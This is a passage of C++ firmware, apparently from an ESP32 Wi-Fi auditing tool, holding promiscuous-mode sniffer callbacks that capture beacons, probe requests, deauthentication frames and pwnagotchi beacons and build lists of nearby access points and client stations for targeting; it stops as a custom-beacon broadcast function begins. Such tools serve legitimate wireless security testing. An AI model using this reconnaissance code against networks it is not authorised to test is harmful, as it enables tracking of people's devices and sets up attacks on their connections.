  1279. char addr[] = "00:00:00:00:00:00";
  1280. getMAC(addr, snifferPacket->payload, 10);
  1281. src_addr_string.concat(addr);
  1282. bool match = false;
  1283. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1284. if (src_addr_string.startsWith(espressif_macs[i])) {
  1285. match = true;
  1286. break;
  1287. }
  1288. }
  1289. if (!match)
  1290. return;
  1291. delay(random(0, 10));
  1292. Serial.print("RSSI: ");
  1293. Serial.print(snifferPacket->rx_ctrl.rssi);
  1294. Serial.print(" Ch: ");
  1295. Serial.print(snifferPacket->rx_ctrl.channel);
  1296. Serial.print(" BSSID: ");
  1297. Serial.print(addr);
  1298. //display_string.concat(" RSSI: ");
  1299. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1300. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1301. //display_string.concat(" ");
  1302. display_string.concat(" -> ");
  1303. display_string.concat(addr);
  1304. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1305. {
  1306. display_string.concat(" ");
  1307. }
  1308. Serial.print(" ");
  1309. #ifdef HAS_SCREEN
  1310. display_obj.loading = true;
  1311. display_obj.display_buffer->add(display_string);
  1312. display_obj.loading = false;
  1313. #endif
  1314. Serial.println();
  1315. addPacket(snifferPacket, len);
  1316. }
  1317. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1318. {
  1319. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1320. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1321. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1322. int len = snifferPacket->rx_ctrl.sig_len;
  1323. String display_string = "";
  1324. String src = "";
  1325. String essid = "";
  1326. if (type == WIFI_PKT_MGMT)
  1327. {
  1328. len -= 4;
  1329. int fctl = ntohs(frameControl->fctl);
  1330. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1331. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1332. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1333. #ifdef HAS_SCREEN
  1334. int buf = display_obj.display_buffer->size();
  1335. #else
  1336. int buf = 0;
  1337. #endif
  1338. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1339. {
  1340. char addr[] = "00:00:00:00:00:00";
  1341. getMAC(addr, snifferPacket->payload, 10);
  1342. src.concat(addr);
  1343. if (src == "de:ad:be:ef:de:ad") {
  1344. delay(random(0, 10));
  1345. Serial.print("RSSI: ");
  1346. Serial.print(snifferPacket->rx_ctrl.rssi);
  1347. Serial.print(" Ch: ");
  1348. Serial.print(snifferPacket->rx_ctrl.channel);
  1349. Serial.print(" BSSID: ");
  1350. Serial.print(addr);
  1351. //display_string.concat(addr);
  1352. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1353. Serial.print(" ESSID: ");
  1354. display_string.concat(" -> ");
  1355. // Just grab the first 255 bytes of the pwnagotchi beacon
  1356. // because that is where the name is
  1357. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1358. for (int i = 0; i < len - 37; i++)
  1359. {
  1360. Serial.print((char)snifferPacket->payload[i + 38]);
  1361. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1362. if (isAscii(snifferPacket->payload[i + 38]))
  1363. essid.concat((char)snifferPacket->payload[i + 38]);
  1364. else
  1365. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1366. }
  1367. //essid.concat("\": \"\"}}");
  1368. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1369. // Load json
  1370. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1371. DynamicJsonDocument json(1024); // ArduinoJson v6
  1372. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1373. // ArduinoJson v6
  1374. if (deserializeJson(json, essid)) {
  1375. Serial.println("\nCould not parse Pwnagotchi json");
  1376. display_string.concat(essid);
  1377. }
  1378. else {
  1379. Serial.println("\nSuccessfully parsed json");
  1380. String json_output;
  1381. //json.printTo(json_output); // ArduinoJson v5
  1382. serializeJson(json, json_output); // ArduinoJson v6
  1383. Serial.println(json_output);
  1384. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1385. }
  1386. int temp_len = display_string.length();
  1387. for (int i = 0; i < 40 - temp_len; i++)
  1388. {
  1389. display_string.concat(" ");
  1390. }
  1391. Serial.print(" ");
  1392. #ifdef HAS_SCREEN
  1393. if (display_obj.display_buffer->size() == 0)
  1394. {
  1395. display_obj.loading = true;
  1396. display_obj.display_buffer->add(display_string);
  1397. display_obj.loading = false;
  1398. }
  1399. #endif
  1400. Serial.println();
  1401. addPacket(snifferPacket, len);
  1402. }
  1403. }
  1404. }
  1405. }
  1406. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1407. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1408. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1409. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1410. int len = snifferPacket->rx_ctrl.sig_len;
  1411. String display_string = "";
  1412. String essid = "";
  1413. String bssid = "";
  1414. if (type == WIFI_PKT_MGMT)
  1415. {
  1416. len -= 4;
  1417. int fctl = ntohs(frameControl->fctl);
  1418. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1419. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1420. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1421. #ifdef HAS_SCREEN
  1422. int buf = display_obj.display_buffer->size();
  1423. #else
  1424. int buf = 0;
  1425. #endif
  1426. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1427. {
  1428. char addr[] = "00:00:00:00:00:00";
  1429. getMAC(addr, snifferPacket->payload, 10);
  1430. bool in_list = false;
  1431. bool mac_match = true;
  1432. for (int i = 0; i < access_points->size(); i++) {
  1433. mac_match = true;
  1434. //Serial.print("Checking ");
  1435. //Serial.print(addr);
  1436. //Serial.println(" against " + (String)access_points->get(i).essid);
  1437. for (int x = 0; x < 6; x++) {
  1438. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1439. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1440. mac_match = false;
  1441. //Serial.println("MACs do not match");
  1442. break;
  1443. }
  1444. }
  1445. if (mac_match) {
  1446. in_list = true;
  1447. break;
  1448. }
  1449. }
  1450. if (!in_list) {
  1451. delay(random(0, 10));
  1452. Serial.print("RSSI: ");
  1453. Serial.print(snifferPacket->rx_ctrl.rssi);
  1454. Serial.print(" Ch: ");
  1455. Serial.print(snifferPacket->rx_ctrl.channel);
  1456. Serial.print(" BSSID: ");
  1457. Serial.print(addr);
  1458. display_string.concat(addr);
  1459. Serial.print(" ESSID: ");
  1460. display_string.concat(" -> ");
  1461. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1462. {
  1463. Serial.print((char)snifferPacket->payload[i + 38]);
  1464. display_string.concat((char)snifferPacket->payload[i + 38]);
  1465. essid.concat((char)snifferPacket->payload[i + 38]);
  1466. }
  1467. bssid.concat(addr);
  1468. int temp_len = display_string.length();
  1469. for (int i = 0; i < 40 - temp_len; i++)
  1470. {
  1471. display_string.concat(" ");
  1472. }
  1473. Serial.print(" ");
  1474. #ifdef HAS_SCREEN
  1475. if (display_obj.display_buffer->size() == 0)
  1476. {
  1477. display_obj.loading = true;
  1478. display_obj.display_buffer->add(display_string);
  1479. display_obj.loading = false;
  1480. }
  1481. #endif
  1482. if (essid == "") {
  1483. essid = bssid;
  1484. Serial.print(essid + " ");
  1485. }
  1486. //LinkedList<char> beacon = new LinkedList<char>();
  1487. /*AccessPoint ap = {essid,
  1488. snifferPacket->rx_ctrl.channel,
  1489. {snifferPacket->payload[10],
  1490. snifferPacket->payload[11],
  1491. snifferPacket->payload[12],
  1492. snifferPacket->payload[13],
  1493. snifferPacket->payload[14],
  1494. snifferPacket->payload[15]},
  1495. false,
  1496. NULL};*/
  1497. AccessPoint ap;
  1498. ap.essid = essid;
  1499. ap.channel = snifferPacket->rx_ctrl.channel;
  1500. ap.bssid[0] = snifferPacket->payload[10];
  1501. ap.bssid[1] = snifferPacket->payload[11];
  1502. ap.bssid[2] = snifferPacket->payload[12];
  1503. ap.bssid[3] = snifferPacket->payload[13];
  1504. ap.bssid[4] = snifferPacket->payload[14];
  1505. ap.bssid[5] = snifferPacket->payload[15];
  1506. ap.selected = false;
  1507. ap.stations = new LinkedList<int>();
  1508. ap.beacon = new LinkedList<char>();
  1509. //for (int i = 0; i < len; i++) {
  1510. // ap.beacon->add(snifferPacket->payload[i]);
  1511. //}
  1512. ap.beacon->add(snifferPacket->payload[34]);
  1513. ap.beacon->add(snifferPacket->payload[35]);
  1514. Serial.print("\nBeacon: ");
  1515. for (int i = 0; i < ap.beacon->size(); i++) {
  1516. char hexCar[4];
  1517. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1518. Serial.print(hexCar);
  1519. if ((i + 1) % 16 == 0)
  1520. Serial.print("\n");
  1521. else
  1522. Serial.print(" ");
  1523. }
  1524. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1525. access_points->add(ap);
  1526. Serial.print(access_points->size());
  1527. Serial.println();
  1528. addPacket(snifferPacket, len);
  1529. }
  1530. }
  1531. }
  1532. }
  1533. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1534. {
  1535. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1536. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1537. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1538. int len = snifferPacket->rx_ctrl.sig_len;
  1539. String display_string = "";
  1540. String essid = "";
  1541. String bssid = "";
  1542. if (type == WIFI_PKT_MGMT)
  1543. {
  1544. len -= 4;
  1545. int fctl = ntohs(frameControl->fctl);
  1546. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1547. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1548. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1549. #ifdef HAS_SCREEN
  1550. int buf = display_obj.display_buffer->size();
  1551. #else
  1552. int buf = 0;
  1553. #endif
  1554. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1555. {
  1556. char addr[] = "00:00:00:00:00:00";
  1557. getMAC(addr, snifferPacket->payload, 10);
  1558. bool in_list = false;
  1559. bool mac_match = true;
  1560. for (int i = 0; i < access_points->size(); i++) {
  1561. mac_match = true;
  1562. //Serial.print("Checking ");
  1563. //Serial.print(addr);
  1564. //Serial.println(" against " + (String)access_points->get(i).essid);
  1565. for (int x = 0; x < 6; x++) {
  1566. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1567. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1568. mac_match = false;
  1569. //Serial.println("MACs do not match");
  1570. break;
  1571. }
  1572. }
  1573. if (mac_match) {
  1574. in_list = true;
  1575. break;
  1576. }
  1577. }
  1578. if (!in_list) {
  1579. delay(random(0, 10));
  1580. Serial.print("RSSI: ");
  1581. Serial.print(snifferPacket->rx_ctrl.rssi);
  1582. Serial.print(" Ch: ");
  1583. Serial.print(snifferPacket->rx_ctrl.channel);
  1584. Serial.print(" BSSID: ");
  1585. Serial.print(addr);
  1586. display_string.concat(addr);
  1587. Serial.print(" ESSID: ");
  1588. display_string.concat(" -> ");
  1589. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1590. {
  1591. Serial.print((char)snifferPacket->payload[i + 38]);
  1592. display_string.concat((char)snifferPacket->payload[i + 38]);
  1593. essid.concat((char)snifferPacket->payload[i + 38]);
  1594. }
  1595. bssid.concat(addr);
  1596. int temp_len = display_string.length();
  1597. for (int i = 0; i < 40 - temp_len; i++)
  1598. {
  1599. display_string.concat(" ");
  1600. }
  1601. Serial.print(" ");
  1602. #ifdef HAS_SCREEN
  1603. if (display_obj.display_buffer->size() == 0)
  1604. {
  1605. display_obj.loading = true;
  1606. display_obj.display_buffer->add(display_string);
  1607. display_obj.loading = false;
  1608. }
  1609. #endif
  1610. if (essid == "") {
  1611. essid = bssid;
  1612. Serial.print(essid + " ");
  1613. }
  1614. AccessPoint ap = {essid,
  1615. snifferPacket->rx_ctrl.channel,
  1616. {snifferPacket->payload[10],
  1617. snifferPacket->payload[11],
  1618. snifferPacket->payload[12],
  1619. snifferPacket->payload[13],
  1620. snifferPacket->payload[14],
  1621. snifferPacket->payload[15]},
  1622. false,
  1623. NULL,
  1624. snifferPacket->rx_ctrl.rssi,
  1625. new LinkedList<int>()};
  1626. access_points->add(ap);
  1627. Serial.print(access_points->size());
  1628. Serial.println();
  1629. addPacket(snifferPacket, len);
  1630. }
  1631. }
  1632. }
  1633. }
  1634. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1635. {
  1636. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1637. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1638. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1639. int len = snifferPacket->rx_ctrl.sig_len;
  1640. String display_string = "";
  1641. if (type == WIFI_PKT_MGMT)
  1642. {
  1643. len -= 4;
  1644. int fctl = ntohs(frameControl->fctl);
  1645. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1646. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1647. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1648. #ifdef HAS_SCREEN
  1649. int buf = display_obj.display_buffer->size();
  1650. #else
  1651. int buf = 0;
  1652. #endif
  1653. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1654. {
  1655. delay(random(0, 10));
  1656. Serial.print("RSSI: ");
  1657. Serial.print(snifferPacket->rx_ctrl.rssi);
  1658. Serial.print(" Ch: ");
  1659. Serial.print(snifferPacket->rx_ctrl.channel);
  1660. Serial.print(" BSSID: ");
  1661. char addr[] = "00:00:00:00:00:00";
  1662. getMAC(addr, snifferPacket->payload, 10);
  1663. Serial.print(addr);
  1664. display_string.concat(addr);
  1665. Serial.print(" ESSID: ");
  1666. display_string.concat(" -> ");
  1667. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1668. {
  1669. Serial.print((char)snifferPacket->payload[i + 38]);
  1670. display_string.concat((char)snifferPacket->payload[i + 38]);
  1671. }
  1672. int temp_len = display_string.length();
  1673. #ifdef HAS_SCREEN
  1674. for (int i = 0; i < 40 - temp_len; i++)
  1675. {
  1676. display_string.concat(" ");
  1677. }
  1678. Serial.print(" ");
  1679. if (display_obj.display_buffer->size() == 0)
  1680. {
  1681. display_obj.loading = true;
  1682. display_obj.display_buffer->add(display_string);
  1683. display_obj.loading = false;
  1684. }
  1685. #endif
  1686. Serial.println();
  1687. addPacket(snifferPacket, len);
  1688. }
  1689. }
  1690. }
  1691. void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1692. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1693. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1694. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1695. int len = snifferPacket->rx_ctrl.sig_len;
  1696. String display_string = "";
  1697. String mac = "";
  1698. if (type == WIFI_PKT_MGMT)
  1699. {
  1700. len -= 4;
  1701. int fctl = ntohs(frameControl->fctl);
  1702. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1703. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1704. }
  1705. char ap_addr[] = "00:00:00:00:00:00";
  1706. char dst_addr[] = "00:00:00:00:00:00";
  1707. int ap_index = 0;
  1708. // Check if frame has ap in list of APs and determine position
  1709. uint8_t frame_offset = 0;
  1710. int offsets[2] = {10, 4};
  1711. bool matched_ap = false;
  1712. bool ap_is_src = false;
  1713. bool mac_match = true;
  1714. for (int y = 0; y < 2; y++) {
  1715. for (int i = 0; i < access_points->size(); i++) {
  1716. mac_match = true;
  1717. for (int x = 0; x < 6; x++) {
  1718. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1719. if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
  1720. mac_match = false;
  1721. break;
  1722. }
  1723. }
  1724. if (mac_match) {
  1725. matched_ap = true;
  1726. if (offsets[y] == 10)
  1727. ap_is_src = true;
  1728. ap_index = i;
  1729. getMAC(ap_addr, snifferPacket->payload, offsets[y]);
  1730. break;
  1731. }
  1732. }
  1733. if (matched_ap)
  1734. break;
  1735. }
  1736. // If did not find ap from list in frame, drop frame
  1737. if (!matched_ap)
  1738. return;
  1739. else {
  1740. if (ap_is_src)
  1741. frame_offset = 4;
  1742. else
  1743. frame_offset = 10;
  1744. }
  1745. /* Stuff to care about now
  1746. * ap_is_src
  1747. * ap_index
  1748. */
  1749. // Check if we already have this station
  1750. bool in_list = false;
  1751. for (int i = 0; i < stations->size(); i++) {
  1752. mac_match = true;
  1753. for (int x = 0; x < 6; x++) {
  1754. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1755. if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
  1756. mac_match = false;
  1757. //Serial.println("MACs do not match");
  1758. break;
  1759. }
  1760. }
  1761. if (mac_match) {
  1762. in_list = true;
  1763. break;
  1764. }
  1765. }
  1766. getMAC(dst_addr, snifferPacket->payload, 4);
  1767. // Check if dest is broadcast
  1768. if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
  1769. return;
  1770. // Add to list of stations
  1771. Station sta = {
  1772. {snifferPacket->payload[frame_offset],
  1773. snifferPacket->payload[frame_offset + 1],
  1774. snifferPacket->payload[frame_offset + 2],
  1775. snifferPacket->payload[frame_offset + 3],
  1776. snifferPacket->payload[frame_offset + 4],
  1777. snifferPacket->payload[frame_offset + 5]},
  1778. false};
  1779. stations->add(sta);
  1780. // Print findings to serial
  1781. Serial.print((String)stations->size() + ": ");
  1782. char sta_addr[] = "00:00:00:00:00:00";
  1783. if (ap_is_src) {
  1784. Serial.print("ap: ");
  1785. Serial.print(ap_addr);
  1786. Serial.print(" -> sta: ");
  1787. getMAC(sta_addr, snifferPacket->payload, 4);
  1788. Serial.println(sta_addr);
  1789. }
  1790. else {
  1791. Serial.print("sta: ");
  1792. getMAC(sta_addr, snifferPacket->payload, 10);
  1793. Serial.print(sta_addr);
  1794. Serial.print(" -> ap: ");
  1795. Serial.println(ap_addr);
  1796. }
  1797. display_string.concat(sta_addr);
  1798. display_string.concat(" -> ");
  1799. display_string.concat(access_points->get(ap_index).essid);
  1800. int temp_len = display_string.length();
  1801. #ifdef HAS_SCREEN
  1802. for (int i = 0; i < 40 - temp_len; i++)
  1803. {
  1804. display_string.concat(" ");
  1805. }
  1806. Serial.print(" ");
  1807. if (display_obj.display_buffer->size() == 0)
  1808. {
  1809. display_obj.loading = true;
  1810. display_obj.display_buffer->add(display_string);
  1811. display_obj.loading = false;
  1812. }
  1813. #endif
  1814. // Add station index to AP in list
  1815. //access_points->get(ap_index).stations->add(stations->size() - 1);
  1816. AccessPoint ap = access_points->get(ap_index);
  1817. ap.stations->add(stations->size() - 1);
  1818. access_points->set(ap_index, ap);
  1819. addPacket(snifferPacket, len);
  1820. }
  1821. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1822. {
  1823. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1824. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1825. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1826. int len = snifferPacket->rx_ctrl.sig_len;
  1827. String display_string = "";
  1828. if (type == WIFI_PKT_MGMT)
  1829. {
  1830. len -= 4;
  1831. int fctl = ntohs(frameControl->fctl);
  1832. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1833. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1834. }
  1835. Serial.print("RSSI: ");
  1836. Serial.print(snifferPacket->rx_ctrl.rssi);
  1837. Serial.print(" Ch: ");
  1838. Serial.print(snifferPacket->rx_ctrl.channel);
  1839. Serial.print(" BSSID: ");
  1840. char addr[] = "00:00:00:00:00:00";
  1841. getMAC(addr, snifferPacket->payload, 10);
  1842. Serial.print(addr);
  1843. display_string.concat(text_table4[0]);
  1844. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1845. display_string.concat(" ");
  1846. display_string.concat(addr);
  1847. int temp_len = display_string.length();
  1848. #ifdef HAS_SCREEN
  1849. for (int i = 0; i < 40 - temp_len; i++)
  1850. {
  1851. display_string.concat(" ");
  1852. }
  1853. Serial.print(" ");
  1854. if (display_obj.display_buffer->size() == 0)
  1855. {
  1856. display_obj.loading = true;
  1857. display_obj.display_buffer->add(display_string);
  1858. display_obj.loading = false;
  1859. }
  1860. #endif
  1861. Serial.println();
  1862. addPacket(snifferPacket, len);
  1863. }
  1864. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1865. {
  1866. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1867. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1868. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1869. int len = snifferPacket->rx_ctrl.sig_len;
  1870. String display_string = "";
  1871. if (type == WIFI_PKT_MGMT)
  1872. {
  1873. len -= 4;
  1874. int fctl = ntohs(frameControl->fctl);
  1875. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1876. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1877. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1878. #ifdef HAS_SCREEN
  1879. int buf = display_obj.display_buffer->size();
  1880. #else
  1881. int buf = 0;
  1882. #endif
  1883. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1884. {
  1885. delay(random(0, 10));
  1886. Serial.print("RSSI: ");
  1887. Serial.print(snifferPacket->rx_ctrl.rssi);
  1888. Serial.print(" Ch: ");
  1889. Serial.print(snifferPacket->rx_ctrl.channel);
  1890. Serial.print(" BSSID: ");
  1891. char addr[] = "00:00:00:00:00:00";
  1892. char dst_addr[] = "00:00:00:00:00:00";
  1893. getMAC(addr, snifferPacket->payload, 10);
  1894. getMAC(dst_addr, snifferPacket->payload, 4);
  1895. Serial.print(addr);
  1896. Serial.print(" -> ");
  1897. Serial.print(dst_addr);
  1898. display_string.concat(text_table4[0]);
  1899. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1900. display_string.concat(" ");
  1901. display_string.concat(addr);
  1902. #ifdef HAS_SCREEN
  1903. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1904. {
  1905. display_string.concat(" ");
  1906. }
  1907. Serial.print(" ");
  1908. if (display_obj.display_buffer->size() == 0)
  1909. {
  1910. display_obj.loading = true;
  1911. display_obj.display_buffer->add(display_string);
  1912. display_obj.loading = false;
  1913. }
  1914. #endif
  1915. Serial.println();
  1916. addPacket(snifferPacket, len);
  1917. }
  1918. }
  1919. }
  1920. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1921. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1922. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1923. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1924. int len = snifferPacket->rx_ctrl.sig_len;
  1925. String display_string = "";
  1926. if (type == WIFI_PKT_MGMT)
  1927. {
  1928. len -= 4;
  1929. int fctl = ntohs(frameControl->fctl);
  1930. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1931. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1932. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1933. #ifdef HAS_SCREEN
  1934. int buf = display_obj.display_buffer->size();
  1935. #else
  1936. int buf = 0;
  1937. #endif
  1938. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1939. {
  1940. delay(random(0, 10));
  1941. Serial.print("RSSI: ");
  1942. Serial.print(snifferPacket->rx_ctrl.rssi);
  1943. Serial.print(" Ch: ");
  1944. Serial.print(snifferPacket->rx_ctrl.channel);
  1945. Serial.print(" Client: ");
  1946. char addr[] = "00:00:00:00:00:00";
  1947. getMAC(addr, snifferPacket->payload, 10);
  1948. Serial.print(addr);
  1949. display_string.concat(addr);
  1950. Serial.print(" Requesting: ");
  1951. display_string.concat(" -> ");
  1952. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1953. {
  1954. Serial.print((char)snifferPacket->payload[26 + i]);
  1955. display_string.concat((char)snifferPacket->payload[26 + i]);
  1956. }
  1957. // Print spaces because of the rotating lines of the hardware scroll.
  1958. // The same characters print from previous lines so I just overwrite them
  1959. // with spaces.
  1960. #ifdef HAS_SCREEN
  1961. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1962. {
  1963. display_string.concat(" ");
  1964. }
  1965. if (display_obj.display_buffer->size() == 0)
  1966. {
  1967. //while (display_obj.printing)
  1968. // delay(1);
  1969. display_obj.loading = true;
  1970. display_obj.display_buffer->add(display_string);
  1971. display_obj.loading = false;
  1972. }
  1973. #endif
  1974. Serial.println();
  1975. addPacket(snifferPacket, len);
  1976. }
  1977. }
  1978. }
  1979. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1980. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1981. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1982. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1983. int len = snifferPacket->rx_ctrl.sig_len;
  1984. String display_string = "";
  1985. String essid = "";
  1986. bool found = false;
  1987. if (type == WIFI_PKT_MGMT)
  1988. {
  1989. len -= 4;
  1990. int fctl = ntohs(frameControl->fctl);
  1991. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1992. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1993. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1994. #ifdef HAS_SCREEN
  1995. int buf = display_obj.display_buffer->size();
  1996. #else
  1997. int buf = 0;
  1998. #endif
  1999. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  2000. {
  2001. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  2002. {
  2003. essid.concat((char)snifferPacket->payload[26 + i]);
  2004. }
  2005. for (int i = 0; i < ssids->size(); i++) {
  2006. if (ssids->get(i).essid == essid) {
  2007. Serial.println("Found a sheep");
  2008. found = true;
  2009. break;
  2010. }
  2011. }
  2012. if (!found)
  2013. return;
  2014. delay(random(0, 10));
  2015. Serial.print("RSSI: ");
  2016. Serial.print(snifferPacket->rx_ctrl.rssi);
  2017. Serial.print(" Ch: ");
  2018. Serial.print(snifferPacket->rx_ctrl.channel);
  2019. Serial.print(" Client: ");
  2020. char addr[] = "00:00:00:00:00:00";
  2021. getMAC(addr, snifferPacket->payload, 10);
  2022. Serial.print(addr);
  2023. display_string.concat(addr);
  2024. Serial.print(" Requesting: ");
  2025. display_string.concat(" -> ");
  2026. // ESSID
  2027. for (int i = 0; i < snifferPacket->payload[25]; i++)
  2028. {
  2029. Serial.print((char)snifferPacket->payload[26 + i]);
  2030. display_string.concat((char)snifferPacket->payload[26 + i]);
  2031. }
  2032. // Print spaces because of the rotating lines of the hardware scroll.
  2033. // The same characters print from previous lines so I just overwrite them
  2034. // with spaces.
  2035. #ifdef HAS_SCREEN
  2036. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  2037. {
  2038. display_string.concat(" ");
  2039. }
  2040. if (display_obj.display_buffer->size() == 0)
  2041. {
  2042. display_obj.loading = true;
  2043. display_obj.display_buffer->add(display_string);
  2044. display_obj.loading = false;
  2045. }
  2046. #endif
  2047. Serial.println();
  2048. addPacket(snifferPacket, len);
  2049. }
  2050. }
  2051. }
  2052. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  2053. set_channel = random(1,12);
  2054. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2055. delay(1);
